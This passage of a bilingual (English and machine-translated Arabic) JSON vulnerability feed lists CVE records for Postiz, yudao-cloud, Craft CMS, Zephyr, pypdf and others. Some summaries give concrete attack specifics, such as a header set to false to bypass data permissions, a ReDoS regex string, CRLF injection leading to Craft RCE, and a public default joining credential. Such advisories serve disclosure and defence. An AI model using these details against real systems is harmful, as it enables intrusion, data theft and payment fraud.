files","ar":"تجاوز مسار الملفات في الوسائط تتيح لأي مستخدم مسجّل قراءة ملفات الخادم"},"summary":{"en":"When a post is published, Postiz treats a media path that is not a web address as a file on the server's disk, but it does not check that the file lies inside the upload directory. A registered user can store a crafted media path with a post, get it past the checks that normally restrict it, and have the publishing worker read an arbitrary file and send it as an attachment to a Discord server the user controls. The same unconfined reads can be reached through two further routes. One tells the caller whether a file exists and can exhaust the backend's memory, the other delivers the file the same way as the main route. Self-registration is open by default, so the attacker needs no existing account.","ar":"عند نشر منشور، يتعامل Postiz مع مسار الوسائط الذي لا يمثل عنوان ويب على أنه ملف موجود على قرص الخادم، ولكنه لا يتحقق مما إذا كان الملف يقع داخل مجلد التحميل. يمكن لمستخدم مسجّل تخزين مسار وسائط مُصمَّم خصيصاً مع منشور، وتجاوز عمليات التحقق التي تقيِّد ذلك عادةً، وجعل عامل النشر يقرأ شيفرة عشوائية ويرسلها كمرفق إلى خادم Discord يسيطر عليه المستخدم. ويمكن الوصول إلى نفس عمليات القراءة غير المقيدة من خلال مسارين إضافيين. الأول يخبر المُستدعي ما إذا كان الملف موجوداً ويمكنه استنفاد ذاكرة الخادم الخلفي، بينما يوصل الثاني الملف بالطريقة نفسها التي يعمل بها المسار الرئيسي. التسجيل الذاتي مفتوح افتراضياً، لذا لا يحتاج المهاجم إلى حساب موجود مسبقاً."},"refs":[["https://github.com/gitroomhq/postiz-app/commit/12db9bd2f428b628a62809669c3d76297e07750a","patch"],["https://gadvisory.org/advisories/PSA-2026-E9AHFV","advisory"],["https://github.com/gitroomhq/postiz-app","ref"],["https://github.com/gitroomhq/postiz-app/releases/tag/v2.25.3","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"gitroomhq-postiz-app"},{"id":"CVE-2026-116016","cvss":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","cwe":"CWE-807","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-24T12:16:57Z","product":"YunaiV yudao-cloud","affected":[["0 – 2026.09",null]],"title":{"en":"yudao-cloud through 2026.09 Data Permission Bypass via data-permission-enable Header","ar":"تجاوز صلاحيات البيانات في yudao-cloud حتى إصدار 2026.09 عبر ترويسة data-permission-enable"},"summary":{"en":"yudao-cloud through 2026.09 contains an authorization bypass vulnerability that allows authenticated users to evade row-level data scope restrictions by sending a data-permission-enable header set to false. Attackers can add this header to /admin-api requests, which DataPermissionRpcWebFilter trusts, to read or modify other departments' and users' records within the same tenant.","ar":"تحتوي منصة yudao-cloud حتى إصدار 2026.09 على ثغرة تجاوز صلاحيات تتيح للمستخدمين الذين يملكون حسابًا مصادقًا عليه الهروب من قيود نطاق البيانات على مستوى الصف من خلال إرسال ترويسة data-permission-enable مضبوطة على قيمة false. يمكن للمهاجمين إضافة هذه الترويسة إلى طلبات /admin-api، والتي يثق بها مكون DataPermissionRpcWebFilter، لقراءة أو تعديل سجلات الأقسام والمستخدمين الآخرين ضمن نفس المستأجر."},"refs":[["https://github.com/YunaiV/yudao-cloud/commit/4e415cd6c30d3abb929a127bb7038101d9f4c943","patch"],["https://hackmd.io/@hieuPenguinnn/yudao-cloud-data-permission-enable-header-datascope-bypass","advisory"],["https://www.vulncheck.com/advisories/yudao-cloud-through-2026.09-data-permission-bypass-via-data-permission-enable-header","advisory"],["https://github.com/YunaiV/yudao-cloud/blob/d322a10b9898a084412032e94336af06835978c2/yudao-framework/yudao-spring-boot-starter-biz-data-permission/src/main/java/cn/iocoder/yudao/framework/datapermission/core/rpc/DataPermissionRpcWebFilter.java#L21-L36","ref"],["https://github.com/YunaiV/yudao-cloud/blob/d322a10b9898a084412032e94336af06835978c2/yudao-gateway/src/main/java/cn/iocoder/yudao/gateway/filter/security/TokenAuthenticationFilter.java#L84-L92","ref"],["https://github.com/YunaiV/yudao-cloud/issues/343","ref"]],"epss":0.0025,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"yunaiv-yudao-cloud"},{"id":"CVE-2026-115975","cvss":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-24T07:39:34Z","product":"CervantesSec cervantes","affected":[[" – 1.3-beta",null]],"title":{"en":"Broken access control in JiraController","ar":"قصور في التحكم بالوصول في JiraController"},"summary":{"en":"Broken access control in JiraController in Cervantes version v1.3-beta could allow an attacker to create, edit, or delete Jira tickets for vulnerabilities in other projects","ar":"يوجد قُصور في التحكم بالوصول ضمن JiraController في الإصدار v1.3-beta من Cervantes، مما قد يسمح للمهاجم بإنشاء أو تعديل أو حذف تذاكر Jira الخاصة بالثغرات في مشاريع أخرى."},"refs":[["https://www.grayback.es/advisories","patch"],["https://www.grayback.es/en/advisories","patch"]],"epss":0.0022,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"cervantessec-cervantes"},{"id":"CVE-2026-115929","cvss":7.6,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-295","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-24T00:31:30Z","product":"MongoDB, Inc. Compass","affected":[["0 – <1.53.1","1.53.1"]],"title":{"en":"MongoDB Compass trusts certificates issued by recoverable eMudhra intermediate CAs","ar":"MongoDB Compass تثق في الشهادات الصادرة عن هيئات شهادات وسيطة قابلة للاسترداد من eMudhra"},"summary":{"en":"MongoDB Compass relies on Electron, a third-party runtime that carries its own TLS root certificate store. This root certificate store has the recoverable eMudhra intermediate CA certificates. Issue is resolved by updating to Compass 1.53.1, which includes Electron 44.9.1.","ar":"يعتمد MongoDB Compass على Electron، وهو بيئة تشغيل طرف ثالث تحمل متجر شهادات جذر TLS الخاص بها. يحتوي متجر شهادات الجذر هذا على شهادات CA الوسيطة القابلة للاسترداد من eMudhra. يتم حل المشكلة عن طريق التحديث إلى الإصدار Compass 1.53.1، والذي يتضمن Electron 44.9.1."},"refs":[["https://github.com/mongodb-js/compass/releases/tag/v1.53.1","ref"],["https://releases.electronjs.org/release/v44.9.1","ref"],["https://blog.mozilla.org/security/2026/10/20/protecting-firefox-users-following-the-compromise-of-emudhra-intermediate-certificates/","ref"]],"epss":0.0019,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mongodb-inc-compass"},{"id":"CVE-2026-115931","cvss":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-73","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-23T23:17:43Z","product":"GitroomHQ postiz-app","affected":[["2.23.0 – <2.25.2","2.25.2"]],"title":{"en":"Arbitrary file read and backend crash through unrestricted provider method calls","ar":"قراءة ملفات عشوائية وتعطيل الخادم الخلفي من خلال استدعاءات غير مقيدة لطرق المزود"},"summary":{"en":"Postiz lets a signed-in user ask the backend to run a function on one of their connected channels. The backend did not restrict which functions can be requested, so a user could call internal helper functions that were never meant to be reachable from the web interface. One of those helpers reads a file from the server's disk. A user who connects a channel whose stored token is a file path can have the backend return the contents of any file it can read, including its environment, which holds the secret used to sign login sessions, the database address and the credentials of connected services. Another helper makes the backend process exit with a single request. Self-registration is open by default, so no existing account and no action by another user is needed.","ar":"يسمح تطبيق Postiz لمستخدم مسجل الدخول بأن يطلب من الخادم الخلفي تشغيل دالة على إحدى قنواته المتصلة. لم يقيد الخادم الخلفي الدالات التي يمكن طلبها، لذا يمكن للمستخدم استدعاء دوال مساعد داخلية لم يكن مقصودًا أبدًا الوصول إليها من واجهة الويب. يقوم أحد هؤلاء المساعدين بقراءة ملف من قرص الخادم. يمكن للمستخدم الذي يوصل قناة يكون رمزها المخزن مسار ملف جعل الخادم الخلفي يعيد محتويات أي ملف يمكنه قراءته، بما في ذلك بيئته، والتي تحتوي على السر المستخدم لتوقيع جلسات تسجيل الدخول، وعنوان قاعدة البيانات وبيانات الاعتماد للخدمات المتصلة. يجعل مساعد آخر عملية الخادم الخلفي تتوقف بطلب واحد. التسجيل الذاتي مفتوح بشكل افتراضي، لذا لا يلزم وجود حساب حالي أو أي إجراء من مستخدم آخر."},"refs":[["https://github.com/gitroomhq/postiz-app/commit/9383f5be4d310c346e33a3748a9a7ded64c96fed","patch"],["https://gadvisory.org/advisories/PSA-2026-JNXM56","advisory"],["https://github.com/gitroomhq/postiz-app","ref"],["https://github.com/gitroomhq/postiz-app/releases/tag/v2.25.2","ref"]],"epss":0.0049,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"gitroomhq-postiz-app"},{"id":"CVE-2026-115935","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-23T22:16:59Z","product":"craftcms cms","affected":[["5.0.0 – <5.11.2","5.11.2"],["4.0.0 – <4.18.9","4.18.9"]],"title":{"en":"Control panel only API response emulation replaces \"securityKey\" and reaches server RCE","ar":"محاكاة استجابة واجهة برمجة التطبيقات الخاصة بلوحة التحكم فقط تستبدل \"securityKey\" وتصل إلى تنفيذ أوامر عن بُعد على الخادم"},"summary":{"en":"The app/process-api-response-headers action accepts fake Craft API response headers from any authenticated control panel user. A non-admin user with only accessCp can place newline characters in X-Craft-Plugin-Licenses. Craft passes this value to its .env writer without removing the newlines. This lets the user insert a new attacker-known CRAFT_SECURITY_KEY into .env. After Craft loads that key, the user can forge a signed login redirect containing a Twig system() callback. This is different from the previous report. That report reads the existing key through a Twig sandbox bypass. This report replaces the key through fake API headers and CRLF injection. Fixing either source does not fix the other.","ar":"يقبل إجراء app/process-api-response-headers ترويسات استجابة واجهة برمجة تطبيقات Craft المزيفة من أي مستخدم مصادق عليه في لوحة التحكم. يمكن لمستخدم غير مسؤل يمتلك صلاحية accessCp فقط إدراج محارف أسطر جديدة في X-Craft-Plugin-Licenses. يمرر Craft هذه القيمة إلى كاتب الملف .env الخاص به دون إزالة محارف الأسطر الجديدة. يتيح ذلك للمستخدم إدراج CRAFT_SECURITY_KEY جديد معروف للمهاجم في الملف .env. بعد أن يقوم Craft بتحميل هذا المفتاح، يمكن للمستخدم تزوير إعادة توجيه تسجيل دخول موقعة تحتوي على رد اتصال Twig system(). يختلف هذا التقرير عن التقرير السابق؛ حيث يقوم التقرير السابق بقراءة المفتاح الحالي عبر تجاوز وضع الحماية لـ Twig، بينما يستبدل هذا التقرير المفتاح عبر ترويسات واجهة برمجة التطبيقات المزيفة وحقن CRLF. إصلاح أي من المصدرين لا يصلح الآخر."},"refs":[["https://github.com/craftcms/cms/security/advisories/GHSA-9hp6-3565-gvh5","advisory"],["https://www.hckrt.com/hacktivity/HCKRT-WM3VSE","advisory"],["https://github.com/craftcms/cms","ref"],["https://github.com/craftcms/cms/releases/tag/5.11.2","ref"]],"epss":0.0037,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"craftcms-cms"},{"id":"CVE-2026-115938","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-1336","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-23T22:16:59Z","product":"craftcms cms","affected":[["5.0.0 – <5.11.2","5.11.2"],["4.0.0 – <4.18.9","4.18.9"]],"title":{"en":"Low privilege condition filter escapes Twig sandbox, recovers \"securityKey\" and reaches RCE","ar":"مرشح شرط منخفض الصلاحيات يتجاوز حماية Twig sandbox، ويستعيد \"securityKey\" ويصل إلى تنفيذ أوامر عن بُعد"},"summary":{"en":"Craft CMS allows any authenticated control panel user to submit an element-search condition whose element selector is evaluated as a sandboxed Twig object template. Craft’s allowed column filter delegates property lookup to Yii ArrayHelper, outside Twig’s SecurityPolicy. Repeated single-segment lookups therefore bypass the sandbox’s empty property/method allowlists. The vulnerable condition value is ultimately cast to an integer. That does not protect the secret: the template can return author ID 1 when a guessed key character is correct and an impossible ID otherwise. The JSON endpoint returns entries for the first case and an empty array for the second, forming a stable remote character oracle. After recovering GeneralConfig::securityKey, the same user can compute Craft’s generic HMAC wire format offline. Signed parameters such as redirect are then accepted and passed to unsandboxed View::renderObjectTemplate(), where Twig’s string-callable form can invoke native PHP callables. The regression proof uses the harmless substr() callback and observes abcdef becoming cdef; it does not execute an OS command.","ar":"يسمح Craft CMS لأي مستخدم لوحة تحكم مصادق عليه بإرسال شرط بحث عن عنصر يتم تقييم محدد العناصر الخاص به كقالب كائن Twig محمي داخل صندوق حماية (sandbox). يقوم مرشح الأعمدة المسموح به في Craft بتفويض البحث عن الخصائص إلى Yii ArrayHelper، خارج سياسة الأمان الخاصة بـ Twig. ونتيجة لذلك، تتجاوز عمليات البحث المتكررة أحادية القطاع قوائم السماح للخصائص أو الدوال الفارغة في صندوق الحماية. يتم في النهاية تحويل قيمة الشرط المصابة إلى عدد صحيح. هذا لا يحمي السر: يمكن للقالب إرجاع معرف المؤلف 1 عندما يكون حرف المفتاح المخمن صحيحًا ومعرفًا مستحيلاً بخلاف ذلك. تُرجع نقطة نهاية JSON إدخالات للحالة الأولى ومصفوفة فارغة للحالة الثانية، مما يشكل أوراكل أحرف عن بُعد مستقرًا. بعد استعادة GeneralConfig::securityKey، يمكن لنفس المستخدم حساب تنسيق سلك HMAC العام الخاص بـ Craft دون اتصال بالإنترنت. يتم بعد ذلك قبول المعلمات الموقعة مثل redirect وتمريرها إلى View::renderObjectTemplate() غير المحمي بصندوق حماية، حيث يمكن لشكل سلسلة Twig القابلة للاستدعاء استدعاء دوال PHP الأصلية القابلة للاستدعاء. يستخدم إثبات التراجع رد الاتداء الآمن substr() ويلاحظ تحول abcdef إلى cdef؛ ولا ينفذ أمر نظام تشغيل."},"refs":[["https://github.com/craftcms/cms/security/advisories/GHSA-v4q3-2g5g-wjj6","advisory"],["https://www.hckrt.com/hacktivity/HCKRT-DRNL9W","advisory"],["https://github.com/craftcms/cms","ref"],["https://github.com/craftcms/cms/releases/tag/5.11.2","ref"]],"epss":0.0037,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"craftcms-cms"},{"id":"CVE-2026-115937","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-345","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-23T21:50:13Z","product":"craftcms commerce-mollie","affected":[["2.1.1 – <4.4.3","4.4.3"]],"title":{"en":"Unauthenticated payment reuse allows unpaid orders to be marked as paid","ar":"إعادة استخدام الدفع دون مصادقة تسمح بوسم الطلبات غير المدفوعة على أنها مدفوعة"},"summary":{"en":"The Mollie webhook endpoint accepts two independent, attacker-controlled parameters and never verifies that they belong together: * commerceTransactionHash — selects which Craft Commerce transaction is completed * id — selects which Mollie payment is queried for its status An unauthenticated attacker holding any paid Mollie payment ID from the merchant’s account can pair it with any transaction hash. Commerce queries Mollie, sees status: paid, and marks the target transaction successful for that transaction’s full amount, regardless of how much was actually paid.","ar":"تقبل نقطة نهاية Mollie webhook معيارين مستقلين يتحكم فيهما المهاجم ولا تتحقق أبدًا من انتمائهما لبعضهما البعض: * commerceTransactionHash — يحدد معاملة Craft Commerce التي يتم إكمالها * id — يحدد دفعة Mollie التي يتم الاستعلام عن حالتها. يمكن لمهاجم دون مصادقة يحمل أي معرف دفعة Mollie مدفوعة من حساب التاجر ربطه بأي تجزئة معاملة (transaction hash). تستعلم Commerce من Mollie، وترى الحالة: paid (مدفوعة)، وتوسم المعاملة المستهدفة بالناجحة لكامل مبلغ تلك المعاملة، بغض النظر عن المبلغ المدفوع فعليًا."},"refs":[["https://www.hckrt.com/hacktivity/HCKRT-6RB2BC","advisory"],["https://github.com/craftcms/commerce-mollie/security/advisories/GHSA-3qcx-mjf6-48vj","advisory"],["https://github.com/craftcms/commerce-mollie/releases/tag/4.4.3","ref"],["https://github.com/craftcms/commerce-mollie","ref"]],"epss":0.0017,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"craftcms-commerce-mollie"},{"id":"CVE-2026-113877","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-624","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-23T21:17:21Z","product":"Unknown product","affected":[["0 – <0.10","0.10"]],"title":{"en":"HTTP::Headers::ActionPack versions before 0.10 for Perl allow CPU exhaustion via Accept-Language ranges matched as regular expressions","ar":"إصدارات HTTP::Headers::ActionPack قبل 0.10 لـ Perl تسمح بنفاد وحدة المعالجة المركزية عبر نطاقات Accept-Language المتطابقة كتعابير نمطية"},"summary":{"en":"HTTP::Headers::ActionPack versions before 0.10 for Perl allow CPU exhaustion via Accept-Language ranges matched as regular expressions. _language_match interpolates each Accept-Language range into the pattern `/^$range\\-/i` without escaping it, so regular expression syntax in the header reaches the regex engine. A 12-byte range such as `(a?|b?){26}z` backtracks for seconds, and each increment of the quantifier doubles the time. An invalid range such as `(` fails to compile. A remote attacker can exhaust CPU, or make choose_language die, in any application that passes an untrusted Accept-Language header to it.","ar":"تسمح إصدارات HTTP::Headers::ActionPack قبل 0.10 لـ Perl بنفاد وحدة المعالجة المركزية عبر نطاقات Accept-Language المتطابقة كتعابير نمطية. يقوم _language_match بإقحام كل نطاق Accept-Language في النمط `\\/^$range\\-\\/i` دون حمايته، بحيث يصل بناء التعبير النمطي في الترويسة إلى محرك التعابير النمطية. نطاق مكون من 12 بايت مثل `(a?|b?){26}z` يعاني من التراجع لثوانٍ، وكل زيادات لمحدد الكمية تضاعف الوقت. نطاق غير صالح مثل `(` يفشل في التجميل. يمكن لمهاجم عن بُعد استنفاد وحدة المعالجة المركزية، أو التسبب في توقف choose_language، في أي تطبيق تمرر إليه ترويسة Accept-Language غير موثوقة."},"refs":[["https://github.com/robrwo/perl-HTTP-Headers-ActionPack/commit/77f0deb23f3de872c2e64befd72750e0f0f4bec9.patch","patch"],["https://metacpan.org/release/RRWO/HTTP-Headers-ActionPack-0.10/changes","ref"]],"epss":0.0071,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-113951","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-276","tags":["Cloud"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-23T20:57:20Z","product":"Apple Container","affected":[["0 – <1.5.0","1.5.0"]],"title":{"en":"If an attacker can write to the filesystem of a container k8s cluster container, they can plant an exec credential plugin in /etc/kubernetes/admin.con","ar":"إذا استطاع مهاجم الكتابة على نظام ملفات حاوية ضمن نظام مجموعة k8s، فيمكنه زرع ملحق بيانات اعتماد التنفيذ في المسار /etc/kubernetes/admin.conf"},"summary":{"en":"If an attacker can write to the filesystem of a container k8s cluster container, they can plant an exec credential plugin in /etc/kubernetes/admin.conf. kubectl will run that plugin as the macOS host user the next time someone pulls the cluster's kubeconfig onto the host with container k8s write-config or create and then runs kubectl against it — turning filesystem access inside an untrusted Linux container into arbitrary command execution on the host. This vulnerability is addressed in Container version 1.5.0.","ar":"إذا استطاع مهاجم الكتابة على نظام ملفات حاوية ضمن نظام مجموعة k8s، فيمكنه زرع ملحق بيانات اعتماد التنفيذ في المسار /etc/kubernetes/admin.conf. سيقوم kubectl بتشغيل هذا الملحق بصلاحيات مستخدم مضيف macOS في المرة التالية التي يقوم فيها أي شخص بسحب ملف kubeconfig الخاص بنظام المجموعة إلى المضيف باستخدام أمر container k8s write-config أو إنشاء ثم تشغيل kubectl ضده - مما يحول الوصول إلى نظام الملفات داخل حاوية Linux غير موثوق بها إلى تنفيذ أوامر عشوائية على المضيف. تمت معالجة هذه الثغرة في إصدار Container 1.5.0."},"refs":[["https://github.com/apple/container/security/advisories/GHSA-44v5-vx46-ghv6","ref"]],"epss":0.002,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-container"},{"id":"CVE-2026-19741","cvss":7.5,"vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-1392","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-23T20:17:21Z","product":"zephyrproject zephyr","affected":[["1.14.0 – <4.5.0","4.5.0"]],"title":{"en":"OpenThread joiner autostart uses a publicly documented default Joining Device Credential (PSKd)","ar":"التشغيل التلقائي لمنضم OpenThread يستخدم اعتمادية جهاز انضمام افتراضية موثقة علناً (PSKd)"},"summary":{"en":"Zephyr's OpenThread integration defined CONFIG_OPENTHREAD_JOINER_PSKD with default \"J01NME\" in modules/openthread/Kconfig.thread (previously subsys/net/l2/openthread/Kconfig, then subsys/net/l2/openthread/Kconfig.thread). J01NME is the example Joining Device Credential used throughout the public OpenThread and Thread commissioning documentation, including Zephyr's own samples/net/sockets/echo_client/README.rst, so it is not a secret. A firmware image built with CONFIG_OPENTHREAD_JOINER_AUTOSTART=y that never overrode the PSKd therefore shipped with a publicly known joining credential compiled in, with no build-time or run-time warning. The PSKd is the only value that authenticates Thread commissioning: joiner and commissioner run a DTLS-PSK handshake keyed on it, after which the commissioner supplies the full operational dataset. In ot_configure_instance() (modules/openthread/openthread.c), a device with no stored dataset calls otJoinerStart() with the configured PSKd, and ot_joiner_start_handler() calls otThreadSetEnabled() on success. An unauthenticated attacker within 802.15.4 radio range of an uncommissioned device (factory-fresh, after a factory reset, or after a settings erase) can run any stock Thread commissioner registered with J01NME, complete the handshake, and hand the device an attacker-controlled operational dataset. The device then joins and enables Thread on the attacker's mesh. The attacker becomes its router, seeing, dropping, injecting and spoofing all of the device's IPv6 traffic and impersonating the peers the application expects, while the device is cut off from the network it was meant to join and stays mis-provisioned until it is reset. Only application-layer security with independently provisioned credentials survives. Exposure is limited to builds that enable joiner autostart and leave the PSKd unset; the option is not enabled by default and no in-tree sample uses the vulnerable combination. The fix removes the default from CONFIG_OPENTHRE…","ar":"حدد دمج Zephyr لـ OpenThread المتغير CONFIG_OPENTHREAD_JOINER_PSKD بقيمة افتراضية \"J01NME\" في modules/openthread/Kconfig.thread (سابقاً subsys/net/l2/openthread/Kconfig، ثم subsys/net/l2/openthread/Kconfig.thread). J01NME هي اعتمادية جهاز الانضمام التجريبية المستخدمة في توثيق OpenThread وتفويض Thread العام، بما في ذلك ملف samples/net/sockets/echo_client/README.rst الخاص بـ Zephyr، لذا فهي ليست سرية. صورة البرامج الثابتة المبنية باستخدام CONFIG_OPENTHREAD_JOINER_AUTOSTART=y والتي لم تستبدل قيمة PSKd قط، تم شحنها بالتالي لاعتمادية انضمام معروفة للعامة ومضمنة في الشيفرة، دون أي تحذير أثناء البناء أو التشغيل. تُعد PSKd القيمة الوحيدة التي تصادق على تفويض Thread: حيث يقوم المنضم والمفوض بتنفيذ مصافحة DTLS-PSK معتمدة عليها، وبعدها يقود المفوض مجموعة بيانات التشغيل الكاملة. في دالة ot_configure_instance() (في modules/openthread/openthread.c)، يقوم الجهاز الذي لا يملك مجموعة بيانات مخزنة باستدعاء otJoinerStart() مع اعتمادية PSKd المكوّنة، ويستدعِي ot_joiner_start_handler() دالة otThreadSetEnabled() عند النجاح. يمكن لمهاجم دون مصادقة ضمن نطاق راديو 802.15.4 لجهاز غير مفوض (جديد من المصنع، بعد إعادة ضبط المصنع، أو بعد مسح الإعدادات) تشغيل أي مفوض Thread أساسي مسجل بقيمة J01NME، وإتمام المصافحة، وتزويد الجهاز بمجموعة بيانات تشغيلية يتحكم بها المهاجم. ينضم الجهاز بعد ذلك ويفعل شبكة Thread ضمن شبكة المهاجم الفرعية. يصبح المهاجم هو الموجه الخاص به، ليقوم برؤية وإسقاط وحقن وتزييف كل حركة مرور IPv6 الخاصة بالجهاز وانتحال النظراء المتوقعين للتطبيق، بينما يتم عزل الجهاز عن الشبكة التي كان مفترضاً انضمامه إليها ويبقى مزوداً بإعدادات خاطئة حتى تتم إعادة ضبطه. لا ينجو سوى الأمان على مستوى التطبيق باعتمادات مزودة بشكل مستقل. يقتصر التعرض على الإصدارات التي تفعل التشغيل التلقائي للمنضم وتترك PSKd دون ضبط؛ الخيار غير مففعّل افتراضياً ولا يوجد ملف نموذجي داخلي يستخدم التركيبة المعرضة للخطر. يعمل الإصلاح على إزالة القيمة الافتراضية من CONFIG_OPENTHRE..."},"refs":[["https://github.com/zephyrproject-rtos/zephyr/commit/acb3e514d7fab2bc9672acaba8019d2dc91b187c","patch"],["https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-6j2r-xrm4-3v7f","ref"]],"epss":0.0026,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"zephyrproject-zephyr"},{"id":"CVE-2026-115580","cvss":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-834","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-23T20:17:21Z","product":"py-pdf pypdf","affected":[],"title":{"en":"pypdf: Possible long runtimes for large xref table header limits","ar":"مكتبة pypdf: احتمالية حدوث أوقات تشغيل طويلة عند حدود رؤوس جدول المراجع التقاطعية الكبيرة"},"summary":{"en":"pypdf is a free and open-source pure-python PDF library. Prior to 6.21.2, an attacker can craft a PDF with a standard cross-reference table whose declared entry count exceeds what the file can contain, causing excessive processing and long runtimes when the file is opened. This issue is fixed in version 6.21.2.","ar":"مكتبة pypdf هي مكتبة PDF مكتوبة بلغة بايثون ومجانية ومفتوحة المصدر. قبل الإصدار 6.21.2، يمكن للمهاجم صياغة ملف PDF يحتوي على جدول مراجع تقاطعية قياسي يتجاوز عدد إدخالاته المُعلنة ما يمكن أن يحتويه الملف، مما يتسبب في معالجة مفرطة وأوقات تشغيل طويلة عند فتح الملف. تم إصلاح هذه المشكلة في الإصدار 6.21.2."},"refs":[["https://github.com/py-pdf/pypdf/commit/a3061e34b169d34478d520f5f049c53cfb1482b2","ref"],["https://github.com/py-pdf/pypdf/pull/4239","ref"],["https://github.com/py-pdf/pypdf/releases/tag/6.21.2","ref"],["https://github.com/py-pdf/pypdf/security/advisories/GHSA-gmh7-3g9r-mjh5","ref"]],"epss":0.0041,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"py-pdf-pypdf"},{"id":"CVE-2026-115585","cvss":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-400","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-23T20:17:21Z","product":"py-pdf pypdf","affected":[],"title":{"en":"pypdf: Possible long runtimes for repeated malformed cross-reference entries (Follow-up)","ar":"مكتبة pypdf: احتمالية حدوث أوقات تشغيل طويلة للإدخالات التصالبية التالفة المتكررة (متابعة)"},"summary":{"en":"pypdf is a free and open-source pure-python PDF library. Prior to 6.21.2, an incomplete remediation for repeated malformed cross-reference entries in GHSA-55h5-xmcq-c37v could still trigger a complete PDF stream reload during each recovery attempt even when a recovery cache was present, causing crafted cross-reference streams to produce long runtimes. This issue is fixed in version 6.21.2.","ar":"مكتبة pypdf هي مكتبة PDF مكتوبة بلغة بايثون ومجانية ومفتوحة المصدر. قبل الإصدار 6.21.2، كان المعالجة غير المكتملة لإدخالات المراجع التقاطعية التالفة المتكررة في الإصدار GHSA-55h5-xmcq-c37v قد تظل تؤدي إلى إعادة تحميل كاملة لتدفق ملف PDF أثناء كل محاولة استرداد حتى في حال وجود ذاكرة تخزين مؤقت للاسترداد، مما يتسبب في قيام تدفقات المراجع التقاطعية المصممة بإنتاج أوقات تشغيل طويلة. تم إصلاح هذه المشكلة في الإصدار 